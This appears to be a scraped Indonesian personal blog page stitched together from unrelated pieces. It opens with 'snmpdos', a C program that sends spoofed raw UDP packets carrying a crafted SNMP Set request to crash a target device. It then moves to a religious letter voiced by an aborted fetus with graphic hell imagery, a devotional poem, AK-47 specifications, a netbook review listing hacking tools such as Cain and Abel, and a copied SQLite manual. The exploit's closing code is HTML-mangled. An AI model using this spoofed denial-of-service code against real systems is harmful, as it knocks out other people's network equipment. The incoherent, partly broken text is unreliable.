<pre style="white-space: pre-wrap; word-wrap: break-word;">#include <stdio.h>
#include <stdlib.h>
#include <sys types.h="">
#include <sys socket.h="">
#include <netinet in.h="">
#include <netinet ip.h="">
#include <netinet udp.h="">
#include <netdb.h>
#include <memory.h>
#include <string.h>
unsigned char evilcode[49] = {
0x33, 0x02, 0x01, 0x02, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x18, 0x30, 0x16, 0x06, 0x08,
0x2B, 0x06, 0x01, 0x02, 0x01, 0x01, 0x05, 0x00, 0x04, 0x17, 0x57, 0x72, 0x69, 0x74, 0x65, 0x20,
0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64,
0x21
};
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}
int sendudp(int sock,unsigned long *saddr, unsigned long *daddr,unsigned int sport,unsigned int dport,char *data, int len)
{
char *packet;
struct sockaddr_in dstaddr;
struct iphdr *ip;
struct udphdr *udp;
packet = (char *)malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
memset(packet,0,sizeof(struct iphdr) + sizeof(struct udphdr) + len);
if (packet == NULL) { printf("Malloc failed\n"); exit(-1); }
ip = (struct iphdr *)packet;
udp = (struct udphdr *)(packet+sizeof(struct iphdr));
ip->saddr = *saddr;
ip->daddr = *daddr;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->id = htons((unsigned short) rand());
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)+len);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(sizeof(struct udphdr) + len);
memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)),data,len);
dstaddr.sin_family = AF_INET;
dstaddr.sin_addr.s_addr = *daddr;
if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr)+len,0,(struct sockaddr *)&dstaddr,sizeof(struct sockaddr_in)) < 0)
perror("sendto() failed");
free(packet);
}
char * makereq(char *community,int *size)
{
char *buf;
char *ptr;
int len;
int i;
len = 7 + strlen(community) + sizeof(evilcode);
buf = (char *)malloc(len);
ptr = buf;
*ptr++ = 0x30;
*ptr++ = len;
/* Snmp Version */
*ptr++ = 0x02;
*ptr++ = 0x01;
*ptr++ = 0x00;
/* Community */
*ptr++ = 0x04;
*ptr++ = strlen(community);
strcpy(ptr,community);
ptr = ptr + strlen(community);
*ptr++ = 0xA3; /* Set Request */
memcpy(ptr, evilcode, sizeof(evilcode));
ptr = ptr + sizeof(evilcode);
*size = len+1;
return buf;
}
int erexit(char *msg)
{
printf("%s\n",msg);
exit (-1) ;
}
int usage()
{
printf("Usage: ./snmpdos <-s source> <-d dest> <-c community>\n");
}
int main(int argc, char **argv)
{
char *saddr,*daddr,*community;
unsigned char *buf;
int size;
int sock;
unsigned long lsaddr,ldaddr;
int i;
saddr = NULL;
daddr = NULL;
if (argc != 7) { usage(); erexit("not enough args\n"); }
if (!strcmp(argv[1],"-s"))
saddr = strdup(argv[2]);
if (!strcmp(argv[3],"-d"))
daddr = strdup(argv[4]);
if (!strcmp(argv[5],"-c"))
community = strdup(argv[6]);
printf("Ok, spoofing packets from %s to %s\n",saddr,daddr);
if (inet_addr(saddr) == -1 || inet_addr(daddr) == -1)
erexit("Invalid source/destination IP address\n");
if (saddr == NULL) { usage(); erexit("No Source Address"); }
if (daddr == NULL) { usage(); erexit("No Dest Address"); }
sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if (sock == -1)
erexit("Couldnt open Raw socket!(Are you root?)\n");
lsaddr = inet_addr(saddr);
ldaddr = inet_addr(daddr);
buf = makereq(community,&size);
printf("Sending %d bytes buffer:\n",size);
for (i=0;i<size;i++) ",buf[i]);="" 0;="" <="" \"="" be="" changed.\n");="" fprintf(stdout,"sent="" identity\"="" must="" packet.="" pre="" printf("0x%02x="" printf("\n");="" return="" sendudp(sock,&lsaddr,&ldaddr,32788,161,buf,size);="" system="" }=""><div>
</div>
</size;i++)></string.h></memory.h></netdb.h></netinet></netinet></netinet></sys></sys></stdlib.h></stdio.h></pre>
Assalamu'alaikum warahmatullahi wabarrakatuh
Teruntuk Bundaku tersayang...
Dear Bunda...
Bagaimana kabar bunda hari ini? Smoga bunda baik-baik saja...nanda juga di sini baik-baik saja bunda... Allah sayang banget deh sama nanda. Allah juga yang menyuruh nanda menulis surat ini untuk bunda, sebagai bukti cinta nanda sama bunda....
Bunda, ingin sekali nanda menyapa perempuan yang telah merelakan rahimnya untuk nanda diami walaupun hanya sesaat...
Bunda, sebenarnya nanda ingin lebih lama nebeng di rahim bunda, ruang yang kata Allah paling kokoh dan paling aman di dunia ini, tapi rupanya bunda tidak menginginkan kehadiran nanda, jadi sebagai anak yang baik, nanda pun rela menukarkan kehidupan nanda demi kebahagiaan bunda. Walaupun dulu, waktu bunda meluruhkan nanda, sakit banget bunda....badan nanda rasanya seperti tercabik-cabik... dan keluar sebagai gumpalan darah yang menjijikan apalagi hati nanda, nyeri, merasa seperti aib yang tidak dihargai dan tidak diinginkan.
Tapi nanda tidak kecewa kok bunda... karena dengan begitu, bunda telah mengantarkan nanda untuk bertemu dan dijaga oleh Allah bahkan nanda dirawat dengan penuh kasih sayang di dalam syurga Nya.
Bunda, nanda mau cerita, dulu nanda pernah menangis dan bertanya kepada Allah, mengapa bunda meluruhkan nanda saat nanda masih berupa wujud yang belum sempurna dan membiarkan nanda sendirian di sini? Apa bunda tidak sayang sama nanda? Bunda tidak ingin mencium nanda? Atau jangan-jangan karena nanti nanda rewel dan suka mengompol sembarangan? Lalu Allah bilang, bunda kamu malu sayang... kenapa bunda malu? karena dia takut kamu dilahirkan sebagai anak haram... anak haram itu apa ya Allah? Anak haram itu anak yang dilahirkan tanpa ayah... Nanda bingung dan bertanya lagi sama Allah, ya Allah, bukannya setiap anak itu pasti punya ayah dan ibu? Kecuali nabi Adam dan Isa? Allah yang Maha Tahu menjawab bahwa bunda dan ayah memproses nanda bukan dalam ikatan pernikahan yang syah dan Allah Ridhoi. Nanda semakin bingung dan akhirnya nanda putuskan untuk diam.
Bunda, nanda malu terus-terusan nanya sama Allah, walaupun Dia selalu menjawab semua pertanyaan nanda tapi nanda mau nanyanya sama bunda aja, pernikahan itu apa sih? Kenapa bunda tidak menikah saja dengan ayah? Kenapa bunda membuat nanda jadi anak haram dan mengapa bunda mengusir nanda dari rahim bunda dan tidak memberi kesempatan nanda hidup di dunia dan berbakti kepada bunda? Hehe,,,maaf ya bunda, nanda bawel banget... nanti saja, nanda tanyakan bunda kalau kita ketemu
Oh ya Bunda, suatu hari malaikat pernah mengajak jalan-jalan nanda ke tempat yang katanya bernama neraka. Tempat itu sangat menyeramkan dan sangat jauh berbeda dengan tempat tinggal nanda di syurga. Di situ banyak orang yang dibakar pake api lho bunda...minumnya juga pake nanah dan makannya buah-buahan aneh, banyak durinya...yang paling parah, ada perempuan yang ditusuk dan dibakar kaya sate gitu, serem banget deh bunda.
Lagi ngeri-ngerinya, tiba-tiba malaikat bilang sama nanda, Nak, kalau bunda dan ayahmu tidak bertaubat kelak di situlah tempatnya...di situlah orang yang berzina akan tinggal dan disiksa selamanya. Seketika itu nanda menangis dan berteriak-teriak memohon agar bunda dan ayah jangan dimasukkan ke situ.... nanda sayang bunda... nanda kangen dan ingin bertemu bunda... nanda ingin merasakan lembutnya belaian tangan bunda dan nanda ingin kita tinggal bersama di syurga... nanda takut, bunda dan ayah kesakitan seperti orang-orang itu...
Lalu, dengan lembut malaikat berkata... nak,kata Allah kalau kamu sayang, mau bertemu dan ingin ayah bundamu tinggal di syurga bersamamu, tulislah surat untuk mereka... sampaikan berita baik bahwa kamu tinggal di syurga dan ingin mereka ikut, ajaklah mereka bertaubat dan sampaikan juga kabar buruk, bahwa jika mereka tidak bertaubat mereka akan disiksa di neraka seperti orang-orang itu.
Saat mendengar itu, segera saja nanda menulis surat ini untuk bunda, menurut nanda Allah itu baik banget bunda.... Allah akan memaafkan semua kesalahan makhluk Nya asal mereka mau bertaubat nasuha... bunda taubat ya? Ajak ayah juga, nanti biar kita bisa kumpul bareng di sini... nanti nanda jemput bunda dan ayah di padang Mahsyar deh... nanda janji mau bawain minuman dan payung buat ayah dan bunda, soalnya kata Allah di sana panas banget bunda... antriannya juga panjang, semua orang sejak jaman nabi Adam kumpul disitu... tapi bunda jangan khawatir, Allah janji, walaupun rame kalo bunda dan ayah benar-benar bertaubat dan jadi orang yang baik, pasti nanda bisa ketemu kalian.
Bunda, kasih kesempatan buat nanda ya.... biar nanda bisa mersakan nikmatnya bertemu dan berbakti kepada orang tua, nanda juga mohon banget sama bunda...jangan sampai adik-adik nanda mengalami nasib yang sama dengan nanda, biarlah nanda saja yang merasakan sakitnya ketersia-siaan itu. Tolong ya bunda, kasih adik-adik kesempatan untuk hidup di dunia menemani dan merawat bunda saat bunda tua kelak.
Sudah dulu ya bunda... nanda mau main-main dulu di syurga.... nanda tunggu kedatangan ayah dan bunda di sini... nanda sayang banget sama bunda....muach!.muach!.muach!.muach!
note: buat yang udah halal ikutan baca aja jgn ngejunk...
BUAT YANG MERASA TERSINGGUNG GA SENANG, KESEL, GONDOX KEKI, BAGUS BERARTI LO NYADAR KLO LO MUNGKIN PUNYA BAGIAN DI TULISAN GW JINK...!!!!!!!! BUKAN KAMSUD GW UNTUK MENGGURUI , CUMA MO BERBAGI N KASIH TAU SUPAYA PADA NYADAR JGN JADI BAJINGAN KEK GW...DAMN...!!!!!!!!!!!
Waktu engkau masih kanak-kanak, kau laksana kawan sejatiku
Dengan wudu' aku kau sentuh dalam keadaan suci
Aku kau pegang, kau junjung dan kau pelajari
Aku engkau baca dengan suara lirih ataupun keras setiap hari
Setelah usai engkaupun selalu menciumku mesra
Sekarang engkau telah dewasa...
Nampaknya kau sudah tak berminat lagi padaku...
Apakah aku bacaan usang yang tinggal sejarah...
Menurutmu barangkali aku bacaan yang tidak menambah pengetahuanmu
Atau menurutmu aku hanya untuk anak kecil yang belajar mengaji saja?
Sekarang aku engkau simpan rapi sekali hingga kadang engkau lupa dimana Menyimpannya. ..Aku sudah engkau anggap hanya sebagai perhiasan rumahmu. Kadang kala aku dijadikan mas kimpoi agar engkau dianggap bertaqwa...Atau aku kau buat penangkal untuk menakuti hantu dan syetan
Kini aku lebih banyak tersingkir, dibiarkan dalam kesendirian dalam
kesepian Di atas lemari, di dalam laci, aku engkau pendamkan.
Dulu...pagi- pagi...surah- surah yang ada padaku engkau baca beberapa
halaman Sore harinya aku kau baca beramai-ramai bersama temanmu di
surau..... Sekarang... pagi-pagi sambil minum kopi...engkau baca Koran
pagi atau nonton berita TV Waktu senggang..engkau sempatkan membaca buku karangan manusia Sedangkan aku yang berisi ayat-ayat yang datang dari Allah Yang Maha Perkasa. Engkau campakkan, engkau abaikan dan engkau lupakan...
Waktu berangkat kerjapun kadang engkau lupa baca pembuka surah2ku(Basmalah) Diperjalanan engkau lebih asyik menikmati musik duniawi...Tidak ada kaset yang berisi ayat Alloh SWT yang terdapat padaku di laci mobilmu Sepanjang perjalanan radiomu selalu tertuju ke stasiun radio favoritmu Aku tahu kalau itu bukan Stasiun Radio yang senantiasa melantunkan ayatku...
Di meja kerjamu tidak ada aku untuk kau baca sebelum kau mulai kerja Di Komputermu pun kau putar musik favoritmu
Jarang sekali engkau putar ayat-ayatku melantun
E-mail temanmu yang ada ayat-ayatkupun kadang kau abaikan
Engkau terlalu sibuk dengan urusan duniamu
Benarlah dugaanku bahwa engkau kini sudah benar-benar melupakanku
Bila malam tiba engkau tahan nongkrong berjam-jam di depan TV
Menonton pertandingan Liga Italia , musik atau Film dan Sinetron laga Didepan komputer berjam-jam engkau betah duduk
Hanya sekedar membaca berita murahan dan gambar sampah
Waktupun cepat berlalu...aku menjadi semakin kusam dalam lemari
Mengumpul debu dilapisi abu dan mungkin dimakan kutu
Seingatku hanya awal Ramadhan engkau membacaku kembali
Itupun hanya beberapa lembar dariku
Dengan suara dan lafadz yang tidak semerdu dulu
Engkaupun kini terbata-bata dan kurang lancar lagi setiap membacaku.
Apakah Koran, TV, radio , komputer, dapat memberimu pertolongan ?
Bila engkau di kubur sendirian menunggu sampai kiamat tiba
Engkau akan diperiksa oleh para malaikat suruhanNya
Hanya dengan ayat-ayat Allah yang ada padaku engkau dapat selamat melaluinya.
Sekarang engkau begitu enteng membuang waktumu...
Setiap saat berlalu...kuranglah jatah umurmu...
Dan akhirnya kubur sentiasa menunggu kedatanganmu. .
Engkau bisa kembali kepada Tuhanmu sewaktu-waktu
Apabila malaikat maut mengetuk pintu rumahmu.
Bila aku engkau baca selalu dan engkau hayati...
Di kuburmu nanti....
Aku akan datang sebagai pemuda gagah nan tampan
Yang akan membantu engkau membela diri
Bukan koran yang engkau baca yang akan membantumu
Dari perjalanan di alam akhirat
Tapi Akulah "Qur'an" kitab sucimu
Yang senantiasa setia menemani dan melindungimu
Peganglah aku lagi . .. bacalah kembali aku setiap hari
Karena ayat-ayat yang ada padaku adalah ayat suci
Yang berasal dari Allah SWT, Tuhan Yang Maha Mengetahui
Yang disampaikan oleh Jibril kepada Muhammad Rasulullah SAW.
Keluarkanlah segera aku dari lemari atau lacimu...
Jangan lupa bawa kaset yang ada ayatku dalam laci mobilmu
Letakkan aku selalu di depan meja kerjamu
Agar engkau senantiasa mengingat Tuhanmu
Sentuhilah aku kembali...., Baca dan pelajari lagi aku....
Setiap datangnya pagi dan sore hari
Seperti dulu....dulu sekali...
Waktu engkau masih kecil , lugu dan polos...
Di surau kecil kampungmu yang damai
Jangan aku engkau biarkan sendiri....
Dalam bisu dan sepi....
Type: Assault rifle
Asal: Soviet Union
In service: 1949–Sekarang
Designer: Mikhail Kalashnikov
Designed: 1944–1946
Manufacturer: Izhmash
Number built: 100 juta unit
berat: 4.3 kg (9.5 lb) dalam keadaan kosong
panjang: 870 mm (34.3 in) fixed wooden stock; 875 mm (34.4 in) folding stock extended ; 645 mm (25.4 in) stock folded
panjang barrel: 415 mm (16.3 in)
peluru: 7.62x39mm M43
Action: Gas-operated, rotating bolt
Rate of fire: 600 peluru/menit
Muzzle velocity: 715 m/detik (2,346 feet/detik)
Effective range: 300 meter (330 yd) full automatic[3]; 400 meter (440 yd) semi-automatic:[3]
Feed system: 20 or 30-round detachable box magazine
Sights: Adjustable iron sights, 100–1000 metre adjustments, 378 mm (14.9 in) sight radius
Senjata perang gw kalo jauh dari pc desktop
kaya tentara aja yah ,heheheehehe
sedikit review dulu ah..
Acer Aspire One AOA150-1890 Notebook Specifications
Operating Systems: Genuine Microsoft Windows® XP Home
Platform: Notebook PC
Expansion Ports: N/A
PS/2 Keyboard Connectors: N/A
PS/2 Mouse Connectors: N/A
Serial Communication Ports: N/A
Parallel Ports: N/A
USB Ports: 3
FireWire Ports: N/A
Fast Infrared Ports (FIR): N/A
LAN Ports: 1
Modem Ports: N/A
Audio Out Jacks: 1
Line In Jacks: N/A
Microphone Jacks: 1
VGA Ports: 1
S-Video Connectors: N/A
DVI Video: N/A
Port Replicator/Connector: N/A
Processor Brand: Intel
Processor Class: Atom™ processor N270
Processor Speed: 1.60GHz
Processor FSB: 533MHz
Processor Cache: 512KB
Memory Type: DDR2
Memory Size: 1GB (512MB onboard + 512MB)
Memory Speed: DDR2 533
Memory Slots (Total): 1
Memory Slots (Available): 0
Maximum Memory Supported: 1.5GB
Capacity: 120GB
Optical Drive Type: N/A
Supplemental Drive Type: Media Reader
Media Types: Memory Stick
xD-Picture Card
Memory Stick PRO
Multi Media Card
SDcard,Reduced-Size MMC Capacity: 1
Media Types: SecureDigital
Audio Description: Integrated Audio
Audio Chipset: Microsoft DirectSound compatibility
Graphics Description: Integrated Graphics
GPU/VPU: Intel® Graphics Media Accelerator 950
Video Interface: VGA
Communications Description: Integrated LAN
Integrated Wireless LAN
Interface Type: RJ-45 Ethernet Connector
802.11b/g Wireless Networking
Data Transfer Rate: 10/100Mbps NIC
54 Mbps
Protocols: 802.11b
802.11g
Width: 9.8″
249 mm
Height: 1.4″
36 mm
Depth: 6.7″, 170 mm
Weight: 2.8 lbs
71 mm
Mouse Type: Touch Pad
Buttons: 2
Keyboard Type: 84-key Keyboard
Display Type: WSVGA with CrystalBrite Technology
Viewable Screen Size: 8.9″
Maximum Resolution: 1024 x 600
Battery Type: 3-Cell Lithium-ion
Battery Life: Up to 3 hours
Kelemahannya?? banyak.. mungkin kalo duid lebih si gw beli yang kerenan deh,,berhubung duid nya cuma dapet yang itu,,lumayan lah buat kerja ringan dan berinternetan di luar selain tempat kerjaan,ato buat buka pesbuk'an yg lagi ngetrend sekarang :D
dengan ram 1Gb pas lah buat kerja gw yang ga terlalu berat,,yang penting masih bisa di installin xampp,,udah tenang,plus software portable cukup kayanya deh
aplikasi wajib yang gw pake :
apache friends - xampp
adobe flash portable
adobe dreamweaver portabable
PuTTY portabable
FileZilla FTP
WinHTTrack
Cain and Abel
NMAP
WinPcap / WinDump
Paros proxy
KISMET on xp card dodol..
Winbox
Radmin
php designer
Artisteer
Digsby Messenger
Yahoo! Messenger
Google Earth
Google Chrome
Mozila firefox
VLC media player
Winamp Media Player
WinRAR
GunBoundWC : ini kalo lagi bete main game :D
ga semua applikasi di load,cuma kalo perlu baru di running
netbook lebay kerja kuli nieh heheheheh
jangan di baca,,cuma buat document gw aja..!!!!!
Command Line Shell For SQLite
Getting Started
To start the sqlite3 program, just type "sqlite3" followed by the name the file that holds the SQLite database. If the file does not exist, a new one is created automatically. The sqlite3 program will then prompt you to enter SQL. Type in SQL statements (terminated by a semicolon), press "Enter" and the SQL will be executed.For example, to create a new SQLite database named "ex1" with a single table named "tbl1", you might do this:
You can terminate the sqlite3 program by typing your systems End-Of-File character (usually a Control-D). Use the interrupt character (usually a Control-C) to stop a long-running SQL statement.$ sqlite3 ex1 SQLite version 3.6.11 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> create table tbl1(one varchar(10), two smallint); sqlite> insert into tbl1 values('hello!',10); sqlite> insert into tbl1 values('goodbye', 20); sqlite> select * from tbl1; hello!|10 goodbye|20 sqlite>
Make sure you type a semicolon at the end of each SQL command! The sqlite3 program looks for a semicolon to know when your SQL command is complete. If you omit the semicolon, sqlite3 will give you a continuation prompt and wait for you to enter more text to be added to the current SQL command. This feature allows you to enter SQL commands that span multiple lines. For example:
sqlite> CREATE TABLE tbl2 ( ...> f1 varchar(30) primary key, ...> f2 text, ...> f3 real ...> ); sqlite>
Aside: Querying the SQLITE_MASTER table
The database schema in an SQLite database is stored in a special table named "sqlite_master". You can execute "SELECT" statements against the special sqlite_master table just like any other table in an SQLite database. For example:But you cannot execute DROP TABLE, UPDATE, INSERT or DELETE against the sqlite_master table. The sqlite_master table is updated automatically as you create or drop tables and indices from the database. You can not make manual changes to the sqlite_master table.$ sqlite3 ex1 SQLite vresion 3.6.11 Enter ".help" for instructions sqlite> select * from sqlite_master; type = table name = tbl1 tbl_name = tbl1 rootpage = 3 sql = create table tbl1(one varchar(10), two smallint) sqlite>
The schema for TEMPORARY tables is not stored in the "sqlite_master" table since TEMPORARY tables are not visible to applications other than the application that created the table. The schema for TEMPORARY tables is stored in another special table named "sqlite_temp_master". The "sqlite_temp_master" table is temporary itself.
Special commands to sqlite3
Most of the time, sqlite3 just reads lines of input and passes them on to the SQLite library for execution. But if an input line begins with a dot ("."), then that line is intercepted and interpreted by the sqlite3 program itself. These "dot commands" are typically used to change the output format of queries, or to execute certain prepackaged query statements.For a listing of the available dot commands, you can enter ".help" at any time. For example:
sqlite> .help .backup ?DB? FILE Backup DB (default "main") to FILE .bail ON|OFF Stop after hitting an error. Default OFF .databases List names and files of attached databases .dump ?TABLE? ... Dump the database in an SQL text format .echo ON|OFF Turn command echo on or off .exit Exit this program .explain ON|OFF Turn output mode suitable for EXPLAIN on or off. .genfkey ?OPTIONS? Options are: --no-drop: Do not drop old fkey triggers. --ignore-errors: Ignore tables with fkey errors --exec: Execute generated SQL immediately See file tool/genfkey.README in the source distribution for further information. .header(s) ON|OFF Turn display of headers on or off .help Show this message .import FILE TABLE Import data from FILE into TABLE .indices TABLE Show names of all indices on TABLE .iotrace FILE Enable I/O diagnostic logging to FILE .load FILE ?ENTRY? Load an extension library .mode MODE ?TABLE? Set output mode where MODE is one of: csv Comma-separated values column Left-aligned columns. (See .width) html HTML code insert SQL insert statements for TABLE line One value per line list Values delimited by .separator string tabs Tab-separated values tcl TCL list elements .nullvalue STRING Print STRING in place of NULL values .output FILENAME Send output to FILENAME .output stdout Send output to the screen .prompt MAIN CONTINUE Replace the standard prompts .quit Exit this program .read FILENAME Execute SQL in FILENAME .restore ?DB? FILE Restore content of DB (default "main") from FILE .schema ?TABLE? Show the CREATE statements .separator STRING Change separator used by output mode and .import .show Show the current values for various settings .tables ?PATTERN? List names of tables matching a LIKE pattern .timeout MS Try opening locked tables for MS milliseconds .timer ON|OFF Turn the CPU timer measurement on or off .width NUM NUM ... Set column widths for "column" mode sqlite>Changing Output Formats
The sqlite3 program is able to show the results of a query in eight different formats: "csv", "column", "html", "insert", "line", "list", "tabs", and "tcl". You can use the ".mode" dot command to switch between these output formats. The default output mode is "list". In list mode, each record of a query result is written on one line of output and each column within that record is separated by a specific separator string. The default separator is a pipe symbol ("|"). List mode is especially useful when you are going to send the output of a query to another program (such as AWK) for additional processing.You can use the ".separator" dot command to change the separator for list mode. For example, to change the separator to a comma and a space, you could do this:sqlite> .mode list sqlite> select * from tbl1; hello|10 goodbye|20 sqlite>In "line" mode, each column in a row of the database is shown on a line by itself. Each line consists of the column name, an equal sign and the column data. Successive records are separated by a blank line. Here is an example of line mode output:sqlite> .separator ", " sqlite> select * from tbl1; hello, 10 goodbye, 20 sqlite>In column mode, each record is shown on a separate line with the data aligned in columns. For example:sqlite> .mode line sqlite> select * from tbl1; one = hello two = 10 one = goodbye two = 20 sqlite>By default, each column is at least 10 characters wide. Data that is too wide to fit in a column is truncated. You can adjust the column widths using the ".width" command. Like this:sqlite> .mode column sqlite> select * from tbl1; one two ---------- ---------- hello 10 goodbye 20 sqlite>The ".width" command in the example above sets the width of the first column to 12 and the width of the second column to 6. All other column widths were unaltered. You can gives as many arguments to ".width" as necessary to specify the widths of as many columns as are in your query results. If you specify a column a width of 0, then the column width is automatically adjusted to be the maximum of three numbers: 10, the width of the header, and the width of the first row of data. This makes the column width self-adjusting. The default width setting for every column is this auto-adjusting 0 value. The column labels that appear on the first two lines of output can be turned on and off using the ".header" dot command. In the examples above, the column labels are on. To turn them off you could do this:sqlite> .width 12 6 sqlite> select * from tbl1; one two ------------ ------ hello 10 goodbye 20 sqlite>Another useful output mode is "insert". In insert mode, the output is formatted to look like SQL INSERT statements. You can use insert mode to generate text that can later be used to input data into a different database. When specifying insert mode, you have to give an extra argument which is the name of the table to be inserted into. For example:sqlite> .header off sqlite> select * from tbl1; hello 10 goodbye 20 sqlite>The last output mode is "html". In this mode, sqlite3 writes the results of the query as an XHTML table. The beginningsqlite> .mode insert new_table sqlite> select * from tbl1; INSERT INTO 'new_table' VALUES('hello',10); INSERT INTO 'new_table' VALUES('goodbye',20); sqlite>and the ending
are not written, but all of the intervening s, s, and s are. The html output mode is envisioned as being useful for CGI.
Writing results to a file
By default, sqlite3 sends query results to standard output. You can change this using the ".output" command. Just put the name of an output file as an argument to the .output command and all subsequent query results will be written to that file. Use ".output stdout" to begin writing to standard output again. For example:sqlite> .mode list sqlite> .separator | sqlite> .output test_file_1.txt sqlite> select * from tbl1; sqlite> .exit $ cat test_file_1.txt hello|10 goodbye|20 $Querying the database schema
The sqlite3 program provides several convenience commands that are useful for looking at the schema of the database. There is nothing that these commands do that cannot be done by some other means. These commands are provided purely as a shortcut. For example, to see a list of the tables in the database, you can enter ".tables".The ".tables" command is similar to setting list mode then executing the following query:sqlite> .tables tbl1 tbl2 sqlite>In fact, if you look at the source code to the sqlite3 program (found in the source tree in the file src/shell.c) you'll find exactly the above query. The ".indices" command works in a similar way to list all of the indices for a particular table. The ".indices" command takes a single argument which is the name of the table for which the indices are desired. Last, but not least, is the ".schema" command. With no arguments, the ".schema" command shows the original CREATE TABLE and CREATE INDEX statements that were used to build the current database. If you give the name of a table to ".schema", it shows the original CREATE statement used to make that table and all if its indices. We have:SELECT name FROM sqlite_master WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%' UNION ALL SELECT name FROM sqlite_temp_master WHERE type IN ('table','view') ORDER BY 1The ".schema" command accomplishes the same thing as setting list mode, then entering the following query:sqlite> .schema create table tbl1(one varchar(10), two smallint) CREATE TABLE tbl2 ( f1 varchar(30) primary key, f2 text, f3 real ) sqlite> .schema tbl2 CREATE TABLE tbl2 ( f1 varchar(30) primary key, f2 text, f3 real ) sqlite>Or, if you give an argument to ".schema" because you only want the schema for a single table, the query looks like this:SELECT sql FROM (SELECT * FROM sqlite_master UNION ALL SELECT * FROM sqlite_temp_master) WHERE type!='meta' ORDER BY tbl_name, type DESC, nameYou can supply an argument to the .schema command. If you do, the query looks like this:SELECT sql FROM (SELECT * FROM sqlite_master UNION ALL SELECT * FROM sqlite_temp_master) WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' ORDER BY substr(type,2,1), nameThe "%s" in the query is replace by your argument. This allows you to view the schema for some subset of the database.SELECT sql FROM (SELECT * FROM sqlite_master UNION ALL SELECT * FROM sqlite_temp_master) WHERE tbl_name LIKE '%s' AND type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' ORDER BY substr(type,2,1), nameAlong these same lines, the ".table" command also accepts a pattern as its first argument. If you give an argument to the .table command, a "%" is both appended and prepended and a LIKE clause is added to the query. This allows you to list only those tables that match a particular pattern. The ".databases" command shows a list of all databases open in the current connection. There will always be at least 2. The first one is "main", the original database opened. The second is "temp", the database used for temporary tables. There may be additional databases listed for databases attached using the ATTACH statement. The first output column is the name the database is attached with, and the second column is the filename of the external file.sqlite> .schema %abc%sqlite> .databasesConverting An Entire Database To An ASCII Text File
Use the ".dump" command to convert the entire contents of a database into a single ASCII text file. This file can be converted back into a database by piping it back into sqlite3. A good way to make an archival copy of a database is this:This generates a file named ex1.dump.gz that contains everything you need to reconstruct the database at a later time, or on another machine. To reconstruct the database, just type:$ echo '.dump' | sqlite3 ex1 | gzip -c >ex1.dump.gzThe text format is pure SQL so you can also use the .dump command to export an SQLite database into other popular SQL database engines. Like this:$ zcat ex1.dump.gz | sqlite3 ex2$ createdb ex2 $ sqlite3 ex1 .dump | psql ex2Other Dot Commands
The ".explain" dot command can be used to set the output mode to "column" and to set the column widths to values that are reasonable for looking at the output of an EXPLAIN command. The EXPLAIN command is an SQLite-specific SQL extension that is useful for debugging. If any regular SQL is prefaced by EXPLAIN, then the SQL command is parsed and analyzed but is not executed. Instead, the sequence of virtual machine instructions that would have been used to execute the SQL command are returned like a query result. For example:The ".timeout" command sets the amount of time that the sqlite3 program will wait for locks to clear on files it is trying to access before returning an error. The default value of the timeout is zero so that an error is returned immediately if any needed database table or index is locked. And finally, we mention the ".exit" command which causes the sqlite3 program to exit.sqlite> .explain sqlite> explain delete from tbl1 where two<20; addr opcode p1 p2 p3 ---- ------------ ----- ----- ------------------------------------- 0 ListOpen 0 0 1 Open 0 1 tbl1 2 Next 0 9 3 Field 0 1 4 Integer 20 0 5 Ge 0 2 6 Key 0 0 7 ListWrite 0 0 8 Goto 0 2 9 Noop 0 0 10 ListRewind 0 0 11 ListRead 0 14 12 Delete 0 0 13 Goto 0 11 14 ListClose 0 0Using sqlite3 in a shell script
One way to use sqlite3 in a shell script is to use "echo" or "cat" to generate a sequence of commands in a file, then invoke sqlite3 while redirecting input from the generated command file. This works fine and is appropriate in many circumstances. But as an added convenience, sqlite3 allows a single SQL command to be entered on the command line as a second argument after the database name. When the sqlite3 program is launched with two arguments, the second argument is passed to the SQLite library for processing, the query results are printed on standard output in list mode, and the program exits. This mechanism is designed to make sqlite3 easy to use in conjunction with programs like "awk". For example:$ sqlite3 ex1 'select * from tbl1' | > awk '{printf "%s%s\n",$1,$2 }' hello10 goodbye20 $Ending shell commands
SQLite commands are normally terminated by a semicolon. In the shell you can also use the word "GO" (case-insensitive) or a slash character "/" on a line by itself to end a command. These are used by SQL Server and Oracle, respectively. These won't work insqlite3_exec(), because the shell translates these into a semicolon before passing them to that function.Compiling the sqlite3 program from sources
The source code to the sqlite3 command line interface is in a single file named "shell.c" which you can download from the SQLite website. Compile this file (together with the sqlite3 library source code to generate the executable. For example:gcc -o sqlite3 shell.c sqlite3.c -ldl -lpthread
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